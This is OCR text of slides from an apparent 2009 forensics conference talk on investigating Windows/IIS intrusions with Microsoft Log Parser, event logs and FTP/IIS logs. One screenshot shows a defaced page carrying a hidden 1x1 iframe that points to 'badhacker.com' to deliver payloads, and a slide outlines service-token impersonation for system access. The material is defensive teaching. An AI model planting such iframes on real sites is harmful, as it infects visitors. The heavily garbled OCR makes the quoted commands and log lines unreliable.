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B Exploits can be rather
complex, ranging from
.dll injections to Zero
Day exploits.

B Something as simple as
a weak FTP password
can lead to a system’s
demise.
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Token Hijacking

B If an attacker can
execute code using
NetworkService or
LocalService,
Impersonation can be
used to gain system
level or administrative
access.

B NetworkService can
Impersonate the System
account.

Remote Procedure Call {(RPC) Properties (Local Co

General Log On | Fieu:u:uver_l,ll Dependenciesl

Log on az

" Local System account

™| fllow service o interact with deskiop

I AUTHORITY \Metwork S ervicel Erowsze... |

Pazzword: I ---------------

% Thiz account;

Confirm paszward: I ---------------

'ou cah enable or dizable this service for the hardware profiles listed below:

Hardware Prafile | Sevice |
Prafile 1 Enabled
Ersble | Disable |
OE. I Cancel | Spply |
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B Impersonation allows
threads to execute code

DefaultappPool Properties 2l
u n d e r a d Iffe re nt Rec';-'clirfg I-Perfu:urm.ance-l Health Identiky
aCCO u n t, S u C h as S:IZCI: a secllj.lrlt',-' au:cu:uu:t for this application poal;
* Fredefined Mebwork Service |

Sy S t e m - : i;;l;lgurable I

Lser name: | WA WEBA] Browse |

B Once system level passhord; [ewveeeneres

access is obtained, RPC
can be used to execute
code.
Application Pools in IIS —

use NetworkService by
Default.
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Iframe or SQL Injections

B Commonly used to
. I indesx.html - Notepad ol
deface SlteS_ File Edt Format Wiew Help

| <pr<bzwe/bre are feeding, hathing, educating and providing af
< dive

<div id="lefr2">

. . <pr<b>T</brhanks so much for a1l of your support! we could
<p class="wideimg"»<img src= '|mages/yatsy jpg) alt="Patsy

e IreC ra IC <p class="spacer"=><img src="images spacer. ]pﬁ alt="spacer

. o <pr<h>I</b> was hungry and you gave me something to eat. I

< d v

<div id="footer">
<pz<a href="index.htm1" target="_se1f" title="Home">Home <,

. Dellver maIICIOUS <y, PPORITTSHT 2009</p>

< divs

<iframe src="http:/ www. badhacker.com” width="1" height="1" style="visibi1*
ayloads ot
p " </’htm¥>

B Overwrite database P
Information.
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M [IS Logs

BFTP Logs

B System Event Logs
B Application Logs

B Shadow Copies

lif’#v

. i

Help

E Computer Management

Q File  Action  Wiew  window

« = | B[m 2|2 E

Shared Folders

Q Computer Managenent (Local)
= ﬁ% System Tools

I Tvpe | Description

Log Application Errol
Log Securiby Audit R

Log System Error R
Local Users and Groups
| Performance Logs and alert:
) Dol ~lojx
=t §5torage Flle Edit Format ‘View Help
2 #software: Mmicrosoft Internet Information Services 6.0 =
= Remfleersion: 1.0
2 Digl| [(#Date: 2009-09-17 19:34:50
#Fields: date time s-sitename s-ip <s-method cs-uri-stem cs-uri-guery s-por
Dizld |2009-09-17 19:34:50 wisvcl 127.0.0.1 GET Jiisstart.htm - 80 - 127.0.0.1 mo:
2009-09-17 19:34:50 w3swcl 127.0.0.1 GET spagerror.gif - 80 - 127.0.0.1 Moz
2009-09-17 15:36:06 w3swCl 162.168.11.4 GET /iisstart.htm - 80 - 192,168.11
20058-09-17 19:36:06 w3svCl 192.168.11.4 GET /favicon.ico - 80 - 192.168.11.
2009-09-17 19:36:06 w3swCl 192.168.11.4 GET /pa Error.gﬂﬂ'f - 80 - 19%2.165.11
2009-09-17 18:37:08 w3swvCl 162.168.11.4 GET Jindex.gtml - 80 - 182.168.11.:
20059-09-17 19:37:14 w3swCl 192.168.11.4 GET (Tavicon.ico - 80 - 192.168.11.
2009-09-17 19:37:14 w3swCl 192.168.11.4 GET Sindex.htm]l - 80 - 192.168.11.:
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M Tools like P2 B Microsoft Log Parser
Commander are can be used to follow an
excellent for analyzing iIncident through a
large amounts of system.
iInformation.

Log Parser
B Sometimes a closer look |72
TimeGenerated Sourcel; EvertCategoryMa... | M
- 2005-08-13 15:06:55 Security Logon/Logoff Successful Logon: User Name: Mr. Founds Domain: RM253 Logo...
2009-08-13 15:07:39  Security Logon/Logoff Successful Logon: User Name: Mr. Founds Domain: RM253 Logo...
I S n e C e S S ar 2005-08-13 15:07:40  Security Logon/Logoff Successful Logon: User Name: LOCAL SERVICE Domain: NT AL...
. 2005-08-13 15:08:42  Security Logon/Logoff Successful Logon: User Name: NETWORK SERVICE Domain: N...
2005-08-13 15:08:44  Security Logon/Logoff Successful Logon: User Name: NETWORK SERVICE Domain: N...
2005-08-13 15:08:46  Security Logon/Logoff Successful Logon: User Name: LOCAL SERVICE Domain: NT AL...
2005-08-13 15:11:57  Security Logon/Logoff Successful Logon: User Name: LOCAL SERVICE Domain: NT AL...
2005-08-13 15:44:36  Security Logon/Logoff Successful Logon: User Name: Mr. Founds Domain: RM253 Logo...
2005-08-13 16:07:28  Security Logon/Logoff Successful Logon: User Name: LOCAL SERVICE Domain: NT AL...
2005-08-13 16:10:28  Security Logon/Logoff Successful Logon: User Name: LOCAL SERVICE Domain: NT AL...
Auto Besize All rows | Next 10 rows |
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WINDOWSh\system32\cmd.exe

. Log I arser Can eXtraCt Program Files“\Log Parszer 2.2>LogParszer "SELECT TimeGenerated. Sol.u-ceName, Eve
av

ategoryMame,. Message INTO report.txt FROM Security YHERE EventID = 52

u

Information from most s

Elements processed: 757
Elements output: 183
Execution time: - seconds

log file formats. )

:“\Program Files“Log Parser 2.2>

2009-08-13 ]_5: 7:39, S5ecurity, Logon/Logoff, "Successful Logon: User Name: Mr.
7
08
08
08

2009-08-13 15:11:57, Security, Logon/Logoff, "Successful Logon: user Name: LOC
o
10

2009-08-13 16:38:43, security,Logon/Logoff, "Successful Logon: User Name: Mr.

.
B SQL gueries are used to  S———r——
- . File Edit Format View Help

T'|rr|eGer'|erated sourceName, EventCategoryNane, Message

2009-08-13 :06:59 Secur'lty,Logon Logoff, "Successful Logon: User Name: Mr.

2009-08-13 15: ":40,secur‘ity,Logon,’Logoff,"successfu'l Logon: user Name: LOC

- - - 2009-08-13 15:08:42, Security,Logon/Logoff, "successful Logon: User Name: NETY

Or an Ize In Orm atlon 2009-08-13 15:08:44, Security, Logon/Logoff, "Successful Logon: User Name: NETY

" 2009-08-13 15:08:46, Security,Logon/Logoff, "successful Logon: User Name: LOC

2009-08-13 15:44:36, Security, Logon/Logoff, "Successful Logon: User Name: Mr.

2009-08-13 16:07:28, security,Logon/Logoff, "successful Logon: user Name: LOC

2009-08-13 16:10:28, security, Logon/Logoff, "Successful Logon: user Name: LOC

2009-08-13 16:13:28, security, Logon/Logoff, "successful Logon: user Name: LOC

2009-08-13 16:41:02, security,Logon/Logoff, "Successful Logon: User Name: LOC

2009-08-13 16:46:46, Security,Logon/Logoff, "successful Logon: User Name: LOC

2009 08-13 ]_6:48:55,Secur'ity,Logon/Logoff,::Successfu'l Logon: User Name: LOC
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Event Properties

Event |

B Event ID’s correlate to
. Date: IEEEE  Source:  Security +
SpeCIfIC events_ Time: 10:53:15 AM Category: Logon/Logoff .

Type: Success A Bvent I0: 528
User: MWT AUTHORITY*LOCAL SERVICE

B The Logon Type can Computer: RM253

Description:

help determlne Where Successful Logon: ~
.. User Nz!me: LOCAL SERVICE
the activity took place. P V1

Logon Process: Advapi

Authentication Package: Megotiate

Workstation Name: —
Logon GUID:
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W 528 A user successfully logged on to a computer.

B 529 Logon failure. A logon attempt was made with an unknown
user name or a known user name with a bad password.

B 538 The logoff process was completed for a user.

B 551 A user initiated the logoff process.
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A user logged on to this computer.

A user or computer logged on to this computer from the
network.

Batch logon type is used by batch servers, where processes
may be executing on behalf of a user without their direct
Intervention.

A service was started by the Service Control Manager.

This workstation was unlocked.
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File Edit Format Wiew Help

#software: Microsoft Internet Information Services 6.0 -

#version: 1.0

#hate: 2009-10-09 16:10:22

#Fields: time c-ip cs-method cs-uri-stem sc-status sc-win32-status

16:10:22 1%2.168.11.2 [1]UsER Ftpuser‘ 331 0

16:10:22 192.1658.11.2 [1]FPAsS —

16:10:31 162.168.11.2 [1]pece L NEUEIEINACTROLETLY =10l x|

16:11:33 192.168.11.2 [1]DELE FEle Edt Format Wew Help

16:12:17 192.168.11.2 [Z]USER [#software: microsoft Internet Information Services 6.0 [N

16:12:17 192.168.11.2 [2]Pass |#version: 1.0

16:12:21 192.165.11.2 [Z2]DELE |#Date: 2009-09-17 19:34:50

16:14:38 192.168.11.2 [2]closc|#Fields: date time s-sitename s-ip cs-method cs-uri-stem cs-uri-guery s-port cs-usernar

161500 1592, 168,11, 2 =3=USER 2009-09-17 19:34:50 w3swiCl 127.0.0.1 GeT Aidsstart.htm - 80 - 127.0.0.1 mMozillas4. 040

16:15:00 192.168.11.2 3 pASS 2009-08-17 19:34:50 wW3sSvZl 127.0.0.1 GET Apagerror.gif - 80 - 127.0.0.1 MozillasAd. 0+0a

: : ) ) ) S=E 2009-09-17 19:36:06 w3swZl 152.168.11.4 GET Siisstart.htm - 80 - 192.168.11.2 Mozillass

16:15:00 192.168.11.2 [3]CWD /|5005-00-17 10:36:06 wW3swCl 102.168.11.4 GET AFavicon.dico - 80 — 1592.168.11.2 Mozilla/é

16:15:00 192,168.11.2 [S]DELE |2000-09-17 19:36:06 wW3svCl 192.168.11.4 GET /pa ermr.glﬁf - B0 - 192.168.11.2 Mozillas

| 2009-08-17 19:37:08 w3swZl 192.168.11.4 GET Aindex.gtml - 80 - 152.168.11.2 Mozillas4.:
2009-09-17 19:37:14 w3swil 152.168.11.4 GET fawvicon.ico - 80 - 1%2.168.11.2 Mozilla/4
2009-09-17 19:37:14 w3swiil 192.163.11.4 ceT Sindex.htm]l - 80 - 192.168.11.2 mozillas4.

FROM ex*.log
GROUP BY cs-uri-stem
ORDER BY Hits DESC

SELECT TOP 10 cs-uri-stem as Url, COUNT(cs-uri-stem) AS Hits
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Collecting Information

e L2 WINDDWS  system 32 cmd.exe
elcome to PFIC 20089t

Thiz tool demonstrates Microsoft's Log Parser utility.

Queriesz for Servers and Domain Controllers

1. Check to see if the event logs have been cleared.

2. Extract LOGON related events from the security event log.
3. Extract IIS information from W3SUC logs.

4. Extract FTP information from the default FTP log.

Querdies for Yorkstations
L. Extract LOGON related events from the security event log.

Other Options

b. Install Log Parser.
7. RBun a guery manually.
8. Exit.

Pleasze enter vour selection:

PFIG

Paraban's Faranzic Innovations Confarance
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B Each log entry or
event is a different
piece of the puzzle.

M By tying events
together, the
puzzle is solved.
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